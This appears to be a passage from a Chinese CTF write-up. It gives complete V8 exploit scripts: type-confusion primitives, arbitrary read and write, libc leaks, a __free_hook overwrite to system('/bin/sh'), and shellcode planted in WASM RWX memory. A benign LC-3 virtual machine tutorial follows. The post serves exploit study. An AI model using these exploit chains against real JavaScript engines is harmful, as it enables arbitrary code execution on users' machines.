29
30
31
32
var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

function WAADataview(addr, value)
{
WAA(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}
  • 任意写 WAA 这里需要注意一下,由于 V8 的保护,不能直接将数据写入 free_hook,需要 Dataview 作为中介

接着需要完成 libc_base 的泄露:

1
2
3
4
60f:30780x3553ea18a218 —▸ 0x55b0ea5048b0 ◂— push   rbp
610:30800x3553ea18a220 —▸ 0x2c5438080b71 ◂— 0x200002c54380801
611:30880x3553ea18a228 —▸ 0x55b0ea5048b0 ◂— push rbp
612:30900x3553ea18a230 —▸ 0x17dca8789009 ◂— 0x700002c54380801
  • objAddr - 0x8000 后面有一些特殊的指令 push rbp
  • 可以利用这里泄露出 pro_base
  • 然后就可以利用 pro_base 计算出 GOT 表地址,并泄露出 libc_base
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
while(1)
{
let push_rbp = RAA(searchBase);
if((push_rbp & 0xfffn) == 0x8b0)
{
/*
60f:3078│ 0x3553ea18a218 —▸ 0x55b0ea5048b0 ◂— push rbp
610:3080│ 0x3553ea18a220 —▸ 0x2c5438080b71 ◂— 0x200002c54380801
611:3088│ 0x3553ea18a228 —▸ 0x55b0ea5048b0 ◂— push rbp
612:3090│ 0x3553ea18a230 —▸ 0x17dca8789009 ◂— 0x700002c54380801
*/
let push_rbp2 = RAA(push_rbp);
if (push_rbp2 == 0x56415741e5894855n)
{
/*
pwndbg> x/xg 0x55b0ea5048b0
0x55b0ea5048b0 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855
*/
leak_addr = push_rbp;
pro_base = leak_addr - 0xe618b0n;
/*
pwndbg> distance 0x55b0e96a3000 0x55b0ea5048b0
0x55b0e96a3000->0x55b0ea5048b0 is 0xe618b0 bytes (0x1cc316 words)
*/
console.log(hex(searchBase) + " -> " +hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
break;
}
}
searchBase += 8n
}

这种泄露并不稳定,有许多偏移都需要手动计算,下面是一种稳定的泄露:

  • 打印 floatArray->ArrayConstructor 属性:
1
2
3
d8> %DebugPrint(floatArray.constructor);
0x2be6ab0d0ec1 <JSFunction Array (sfi = 0x24cf5e806791)>
function Array() { [native code] }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> job 0x2be6ab0d0ec1
0x2be6ab0d0ec1: [Function] in OldSpace
- map: 0x36ed8a1c2d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2be6ab0c2109 <JSFunction (sfi = 0x24cf5e803b29)>
- elements: 0x0310c3c80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x2be6ab0d1111 <JSArray[0]>
- initial_map: 0x36ed8a1c2d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x24cf5e806791 <SharedFunctionInfo Array>
- name: 0x0310c3c83599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
- context: 0x2be6ab0c1869 <NativeContext[246]>
- code: 0x01c365606981 <Code BUILTIN ArrayConstructor>
- properties: 0x2be6ab0d1029 <PropertyArray[6]> {
#length: 0x24cf5e8004b9 <AccessorInfo> (const accessor descriptor)
#name: 0x24cf5e800449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x24cf5e800529 <AccessorInfo> (const accessor descriptor)
0x0310c3c84c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x0310c3c84f41 <Symbol: Symbol.species>: 0x2be6ab0d0fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x2be6ab0d1069 <JSFunction isArray (sfi = 0x24cf5e806829)> (const data field 1) properties[1]
#from: 0x2be6ab0d10a1 <JSFunction from (sfi = 0x24cf5e806879)> (const data field 2) properties[2]
#of: 0x2be6ab0d10d9 <JSFunction of (sfi = 0x24cf5e8068b1)> (const data field 3) properties[3]
}

- feedback vector: not available
  • 打印 floatArray->ArrayConstructor->code 属性:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> job 0x01c365606981
0x1c365606981: [Code]
- map: 0x0310c3c80a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7fff49059878

Trampoline (size = 13)
0x1c3656069c0 0 49ba80c7ae5c40560000 REX.W movq r10,0x56405caec780 (ArrayConstructor)
0x1c3656069ca a 41ffe2 jmp r10

Instructions (size = 28)
0x56405caec780 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x56405caec784 4 7405 jz 0x56405caec78b (ArrayConstructor)
0x56405caec786 6 488bca REX.W movq rcx,rdx
0x56405caec789 9 eb03 jmp 0x56405caec78e (ArrayConstructor)
0x56405caec78b b 488bcf REX.W movq rcx,rdi
0x56405caec78e e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x56405caec792 12 488bd1 REX.W movq rdx,rcx
0x56405caec795 15 e926000000 jmp 0x56405caec7c0 (ArrayConstructorImpl)
0x56405caec79a 1a 90 nop
0x56405caec79b 1b 90 nop


Safepoints (size = 8)

RelocInfo (size = 2)
0x1c3656069c2 off heap target
  • 可以通过这里来泄露 pro_base
  • 然后利用同样的方法来泄露 libc_base
1
2
3
4
5
6
7
8
9
var pro_base = leak_addr - 0xfc8780n;
console.log("[*] leak_addr : " + hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
var libc_start_main_got = pro_base + 0x12a47b0n;
var libc_start_main = RAA(libc_start_main_got);
var libc_base = libc_start_main - 0x23f90n;

console.log("[*] __libc_start_main: " + hex(libc_start_main));
console.log("[*] libc base : " + hex(libc_base));

最后在 free_hook 中写入 system 就可以了

另外,还有一种不需要进行泄露,直接注入 shellcode 的方法:

  • 通过 WASM,能得到一块 RWX 的内存,里面放着WASM的二进制代码
  • 将 shellcode 写入到这块内存,再调用 WASM 接口时,就会执行 shellcode 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = RAA(addressFasm+0x18n-0x1n);
var functionData = RAA(sharedInfo+0x8n-0x1n);
var instanceAddr = RAA(functionData+0x10n-0x1n);
var memoryRWX = RAA(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var dataBuf = new ArrayBuffer(56);
var dataview = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n - 0x1n;
WAA(bufBackStore, memoryRWX);
dataview.setFloat64(0, i2f(shellcode[0]), true);
dataview.setFloat64(8, i2f(shellcode[1]), true);
dataview.setFloat64(16, i2f(shellcode[2]), true);

funcAsm();
  • 这是一个比较套路的过程

完整 exp:

  • 不稳定泄漏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray);

let ret = objArray[0];
objArray.oob(mapObjArray);
return f2i(ret);
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray);

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

function hex(x)
{
return "0x" + x.toString(16);
}

var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

function WAADataview(addr, value)
{
WAA(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

var code = RAA(addressOf(floatArray.constructor)-0x1n+0x30n);
var leak_addr = RAA(code-0x1n+0x40n) >> 16n;
/*
pwndbg> distance 0x556d00f65780 0x556cfff9d000
0x556d00f65780->0x556cfff9d000 is -0xfc8780 bytes (-0x1f90f0 words)
*/
var pro_base = leak_addr - 0xfc8780n;
console.log("[*] leak_addr : " + hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
var libc_start_main_got = pro_base + 0x12a47b0n;
var libc_start_main = RAA(libc_start_main_got);
var libc_base = libc_start_main - 0x23f90n;

console.log("[*] __libc_start_main: " + hex(libc_start_main));
console.log("[*] libc base : " + hex(libc_base));
var free_hook = libc_base + 0x1eee48n;
console.log("[*] free_hook : " + hex(free_hook));
system= libc_base + 0x52290n;
WAADataview(free_hook, system);

function pwnYou()
{
//let cmd = "gnome-calculator;";
let cmd = "/bin/sh";
}
pwnYou();

WAADataview(free_hook, 0x0n);
  • 稳定泄漏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray);

let ret = objArray[0];
objArray.oob(mapObjArray);
return f2i(ret);
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray);

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

function hex(x)
{
return "0x" + x.toString(16);
}

var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

function WAADataview(addr, value)
{
WAA(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

var objAddr = addressOf(obj);
var searchBase = objAddr-0x8000n-0x1n;
var leak_addr = 0xdeadbeefn;
var pro_base = 0xdeadbeefn;
while(1)
{
let push_rbp = RAA(searchBase);
if((push_rbp & 0xfffn) == 0x8b0)
{
/*
60f:3078│ 0x3553ea18a218 —▸ 0x55b0ea5048b0 ◂— push rbp
610:3080│ 0x3553ea18a220 —▸ 0x2c5438080b71 ◂— 0x200002c54380801
611:3088│ 0x3553ea18a228 —▸ 0x55b0ea5048b0 ◂— push rbp
612:3090│ 0x3553ea18a230 —▸ 0x17dca8789009 ◂— 0x700002c54380801
*/
let push_rbp2 = RAA(push_rbp);
if (push_rbp2 == 0x56415741e5894855n)
{
/*
pwndbg> x/xg 0x55b0ea5048b0
0x55b0ea5048b0 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855
*/
leak_addr = push_rbp;
pro_base = leak_addr - 0xe618b0n;
/*
pwndbg> distance 0x55b0e96a3000 0x55b0ea5048b0
0x55b0e96a3000->0x55b0ea5048b0 is 0xe618b0 bytes (0x1cc316 words)
*/
console.log(hex(searchBase) + " -> " +hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
break;
}
}
searchBase += 8n
}

/*
pwndbg> telescope 0x12a47b0+0x5634968b1000
00:0000│ 0x563497b557b0 —▸ 0x7f80d77a4f90 (__libc_start_main) ◂— endbr64
*/
var libc_start_main_got = pro_base + 0x12a47b0n;
var libc_start_main = RAA(libc_start_main_got);
console.log("[*] __libc_start_main : " + hex(libc_start_main));

/*
pwndbg> distance 0x7f80d77a4f90 0x7f80d7781000
0x7f80d77a4f90->0x7f80d7781000 is -0x23f90 bytes (-0x47f2 words)
*/
var libc_base = libc_start_main - 0x23f90n;
console.log("[*] libc base : " + hex(libc_base));

/*
pwndbg> p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7f80d796fe48 <__free_hook>
pwndbg> distance 0x7f80d796fe48 0x7f80d7781000
0x7f80d796fe48->0x7f80d7781000 is -0x1eee48 bytes (-0x3ddc9 words)
*/
var free_hook = libc_base + 0x1eee48n;
console.log("[*] free_hook : " + hex(free_hook));

/*
pwndbg> p &system
$3 = (int (*)(const char *)) 0x7f80d77d3290 <__libc_system>
pwndbg> distance 0x7f80d77d3290 0x7f80d7781000
0x7f80d77d3290->0x7f80d7781000 is -0x52290 bytes (-0xa452 words)
*/
system = libc_base + 0x52290n;
console.log("[*] system : " + hex(system));
WAADataview(free_hook, system);

function pwnYou()
{
//let cmd = "gnome-calculator;";
let cmd = "/bin/sh";
}
pwnYou();

WAADataview(free_hook, 0x0n);
  • 利用 WASM 执行 shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray);

let ret = objArray[0];
objArray.oob(mapObjArray);
return f2i(ret);
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray);

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

function hex(x)
{
return "0x" + x.toString(16);
}

var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = RAA(addressFasm+0x18n-0x1n);
var functionData = RAA(sharedInfo+0x8n-0x1n);
var instanceAddr = RAA(functionData+0x10n-0x1n);
var memoryRWX = RAA(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var dataBuf = new ArrayBuffer(24);
var dataview = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n - 0x1n;
WAA(bufBackStore, memoryRWX);
dataview.setFloat64(0, i2f(shellcode[0]), true);
dataview.setFloat64(8, i2f(shellcode[1]), true);
dataview.setFloat64(16, i2f(shellcode[2]), true);

funcAsm();

小结:

巩固一下 V8 pwn 的利用手段

根据最近复现的这两个 V8 pwn 和之前遇到过的 JavaScript pwn,总结一下这种 JavaScript 引擎题目的解决思路:

  • 先分析 patch,了解大概的漏洞点
  • 然后想方设法实现 addressOf RAA WAA 这3个函数
  • 最后尝试泄露或者注入 shellcode

如果可以接触到 JS 对象的 map,那就要考虑使用类型混淆

基础知识

虚拟机是一种类似于计算机的程序。它模拟CPU和其他一些硬件组件,允许它执行算术,读写内存,并与I/O设备交互,就像物理计算机一样

虚拟机的核心功能是:理解一种可以用来编程的机器语言

  • 编译器可以通过将标准高级语言编译为多个 CPU 体系结构来解决类似的问题
  • VM 创建一个标准 CPU 体系结构,该体系结构在各种硬件设备上进行模拟
  • 编译器的一个优点是它没有运行时开销,而 VM 有
  • 尽管编译器做得很好,但编写面向多个平台的新编译器非常困难,因此 VM 在这里仍然很有帮助(实际上,VM 和编译器在不同级别混合使用)

虚拟机的其他运用:

  • 垃圾收集:在 C 或 C++ 之上实现自动垃圾回收没有简单的方法,因为程序看不到自己的堆栈或变量,但是虚拟机位于其正在运行的程序的“外部”,可以观察堆栈上的所有内存引用
  • 安全隔离:智能合约是由区块链网络中的每个验证节点执行的小程序,这要求节点操作员在他们的机器上运行由完全陌生的程序,为了防止合约执行恶意操作,所有合约都在无法访问文件系统、网络、磁盘等的VM中运行

在真实机器中,二进制代码是由具体的硬件来执行的,而虚拟机则是用其他语言模拟了这个过程,使该二进制代码可以在虚拟机的控制下执行

LC-3架构

LC-3 与 x86 相比,它具有简化的指令集,但包含现代 CPU 中使用的所有主要思想

  • LC-3 有 65536 个内存位置(可由16位无符号整数寻址的最大位置),每个位置存储一个16位值,这意味着它总共只能存储128KB
  • LC-3 总共有10个寄存器,每个寄存器为16位:
    • 8个通用寄存器 - R0 - R7
    • 1个程序计数器 - PC
    • 1个条件标志寄存器 - COND
1
2
3
4
5
6
7
8
9
10
11
12
13
14
enum
{
R_R0 = 0,
R_R1,
R_R2,
R_R3,
R_R4,
R_R5,
R_R6,
R_R7,
R_PC, /* program counter */
R_COND,
R_COUNT
};
1
uint16_t reg[R_COUNT];
  • LC-3 中只有16个操作码,计算机可以计算的所有内容都是这些简单指令的某个序列,每条指令的长度为16位,剩下的4位存储操作码,其余位用于存储参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
enum
{
OP_BR = 0, /* branch */
OP_ADD, /* add */
OP_LD, /* load */
OP_ST, /* store */
OP_JSR, /* jump register */
OP_AND, /* bitwise and */
OP_LDR, /* load register */
OP_STR, /* store register */
OP_RTI, /* unused */
OP_NOT, /* bitwise not */
OP_LDI, /* load indirect */
OP_STI, /* store indirect */
OP_JMP, /* jump */
OP_RES, /* reserved (unused) */
OP_LEA, /* load effective address */
OP_TRAP /* execute trap */
};
  • LC-3 仅使用3个条件标志,用于指示先前计算的符号
1
2
3
4
5
6
enum
{
FL_POS = 1 << 0, /* P */
FL_ZRO = 1 << 1, /* Z */
FL_NEG = 1 << 2, /* N */
};

Assembly examples 装配示例

现在,让我们看一个 LC-3 汇编程序,以了解 VM 实际运行的内容,您不需要知道如何对装配进行编程或了解正在发生的一切,只是试着大致了解正在发生的事情:

1
2
3
4
5
6
.ORIG x3000                        ; 这是内存中将加载程序的地址
LEA R0, HELLO_STR ; 将HELLO_STR字符串的地址加载到R0中
PUTs ; 将R0指向的字符串输出到控制台
HALT ; 停止程序
HELLO_STR .STRINGZ "Hello World!" ; 将此字符串存储在程序中
.END ; 标记文件末尾
  • 程序从顶部开始,一次执行一个语句

请注意,某些语句的名称与我们之前定义的操作码匹配,之前,我们了解到每条指令都是16位,但每行看起来都是不同数量的字符

  • 这是因为我们正在阅读的代码是用汇编编写的,汇编是人类可读和可写的形式,以纯文本编码
  • 称为汇编器的工具用于将每行文本转换为 VM 可以理解的16位二进制指令
  • 这种二进制形式本质上是一个16位指令数组,称为机器代码,是 VM 实际运行的内容

Executing programs 程序执行

虚拟机执行的流程为:

  1. 从 PC 寄存器地址的内存中加载一条指令
  2. 递增 PC 寄存器
  3. 查看操作码以确定它应该执行哪种类型的指令
  4. 使用指令中的参数执行指令
  5. 返回到第一步

main 函数整体的构建为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int main(int argc, const char* argv[])
{
@{Load Arguments}
@{Setup}

reg[R_COND] = FL_ZRO;

enum { PC_START = 0x3000 };
reg[R_PC] = PC_START;

int running = 1;
while (running)
{
uint16_t instr = mem_read(reg[R_PC]++);
uint16_t op = instr >> 12;

switch (op)
{
case OP_ADD:
@{ADD}
break;
case OP_AND:
@{AND}
break;
case OP_NOT:
@{NOT}
break;
case OP_BR:
@{BR}
break;
case OP_JMP:
@{JMP}
break;
case OP_JSR:
@{JSR}
break;
case OP_LD:
@{LD}
break;
case OP_LDI:
@{LDI}
break;
case OP_LDR:
@{LDR}
break;
case OP_LEA:
@{LEA}
break;
case OP_ST:
@{ST}
break;
case OP_STI:
@{STI}
break;
case OP_STR:
@{STR}
break;
case OP_TRAP:
@{TRAP}
break;
case OP_RES:
case OP_RTI:
default:
@{BAD OPCODE}
break;
}
}
@{Shutdown}
}
  • 先读取传入 VM 的参数(一个文件的路径)
  • 打开这个文件,并把里面的指定数据传输到 VM 私有内存
  • 设置好 PC 寄存器,然后在循环中分析并执行二进制代码
  • 执行完毕后退出

指令 ADD:

  • 指令 ADD 需要两个数字,将它们相加,并将结果存储在寄存器 DR 中
1
2
[0001][DR][SR1][0][00][SR2]
[0001][DR][SR1][1][imm5]
  • 前4位为指令编码,接下来的3位表示目标寄存器 DR,接下来的3位表示存储有目标数据的寄存器 SR1,接下来1位用于指明“模式”类型(即时模式 / 寄存器模式),最后5位可以代表 SR2 寄存器也可以代表 imm5 立即数
  • 编码显示两行,因为 ADD 指令有两种不同的“模式”:
    • 寄存器模式:把 SR1 和 SR2 中的数据相加然后存储到 DR 中
    • 即时模式:把 SR1 中的数据与 imm5 相加然后存储到 DR 中
  • 符号扩展:ADD 即时模式 imm5 值只有5位,但需要将其添加到16位数字中
    • 对于正数,用“0”填充额外的位(强制类型转换即可)
    • 对于负数,用“1”填充额外的位
1
2
3
4
5
6
7
uint16_t sign_extend(uint16_t x, int bit_count)
{
if ((x >> (bit_count - 1)) & 1) {
x |= (0xFFFF << bit_count);
}
return x;
}
  • 每当将值写入寄存器时,我们都需要更新标志以指示其符号:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void update_flags(uint16_t r)
{
if (reg[r] == 0)
{
reg[R_COND] = FL_ZRO; /* 零 */
}
else if (reg[r] >> 15)
{
reg[R_COND] = FL_NEG; /* 负 */
}
else
{
reg[R_COND] = FL_POS; /* 正 */
}
}
  • 指令 ADD 的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t r1 = (instr >> 6) & 0x7;
uint16_t imm_flag = (instr >> 5) & 0x1;

if (imm_flag) /* 即时模式 */
{
uint16_t imm5 = sign_extend(instr & 0x1F, 5);
reg[r0] = reg[r1] + imm5;
}
else /* 寄存器模式 */
{
uint16_t r2 = instr & 0x7;
reg[r0] = reg[r1] + reg[r2];
}

update_flags(r0);

指令 LDI:

  • LDI 代表“间接加载”,此指令用于将值从内存中的某个位置加载到寄存器中
1
[1010][DR][PCoffset9]
  • 前4位为指令编码,接下来的3位表示目标寄存器 DR,最后9位代表偏移地址,它告诉我们从何处加载
    • 目标地址 = 偏移地址 + PC寄存器的值
  • 指令 LDI 的代码如下:
1
2
3
4
5
uint16_t r0 = (instr >> 9) & 0x7;
uint16_t pc_offset = sign_extend(instr & 0x1FF, 9);

reg[r0] = mem_read(mem_read(reg[R_PC] + pc_offset));
update_flags(r0);

接下来的大部分指令都是基于以上这两种格式,具体实现过程就省略了

Trap routines 陷阱例程

LC-3 提供了一些预定义的例程用于执行常见任务和与 I/O 设备交互,这些被称为陷阱例程,可以将其视为 LC-3 的操作系统或API

每个陷阱例程都被分配一个陷阱代码 trap code 来标识它(类似于操作码),如果想要执行一个陷阱,则需要使用所需例程的陷阱代码来调用 TRAP 指令

1
[1111][0000][trapvect8]
  • 前4位为指令编码 [1111],接下来的4位固定为 [0000],最后8位代表陷阱代码 trap code
1
2
3
4
5
6
7
8
9
enum
{
TRAP_GETC = 0x20, /* 从键盘获取字符,不回显到终端上 */
TRAP_OUT = 0x21, /* 输出字符 */
TRAP_PUTS = 0x22, /* 输出一字大小的字符串 */
TRAP_IN = 0x23, /* 从键盘获取字符,回显到终端上 */
TRAP_PUTSP = 0x24, /* 输出一字节大小的字符串 */
TRAP_HALT = 0x25 /* 停止程序 */
};

在官方的 LC-3 模拟器中,陷阱例程是用汇编编写的,调用陷阱代码时,会将 PC 寄存器移动到该代码的地址,CPU 执行陷阱例程的指令,完成后,PC 将重置到初始调用后的位置

  • 程序起始地址为 0x3000,就是为了给陷阱例程腾出空间

尽管陷阱例程可以用汇编形式编写,并且这是物理 LC-3 计算机可以执行的操作,但它并不是最适合 VM 的

与其编写我们自己的原始 I/O 例程,我们可以利用操作系统上可用的例程,这将使 VM 在我们的计算机上更好地运行,简化代码,并为可移植性提供更高级别的抽象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
reg[R_R7] = reg[R_PC];

switch (instr & 0xFF) /* 获取trap code */
{
case TRAP_GETC:
@{TRAP GETC}
break;
case TRAP_OUT:
@{TRAP OUT}
break;
case TRAP_PUTS:
@{TRAP PUTS}
break;
case TRAP_IN:
@{TRAP IN}
break;
case TRAP_PUTSP:
@{TRAP PUTSP}
break;
case TRAP_HALT:
@{TRAP HALT}
break;
}

例程 PUTS:

  • 陷阱代码用于输出以 NULL 结尾的字符串(类似于 C 中的 puts
  • 要显示字符串,我们必须给陷阱例程一个要显示的字符串,这是通过在开始陷阱之前存储第一个字符的地址 memory 来完成的
1
2
3
4
5
6
7
8
9
10
{
uint16_t* c = memory + reg[R_R0];

while (*c)
{
putc((char)*c, stdout);
++c;
}
fflush(stdout);
}
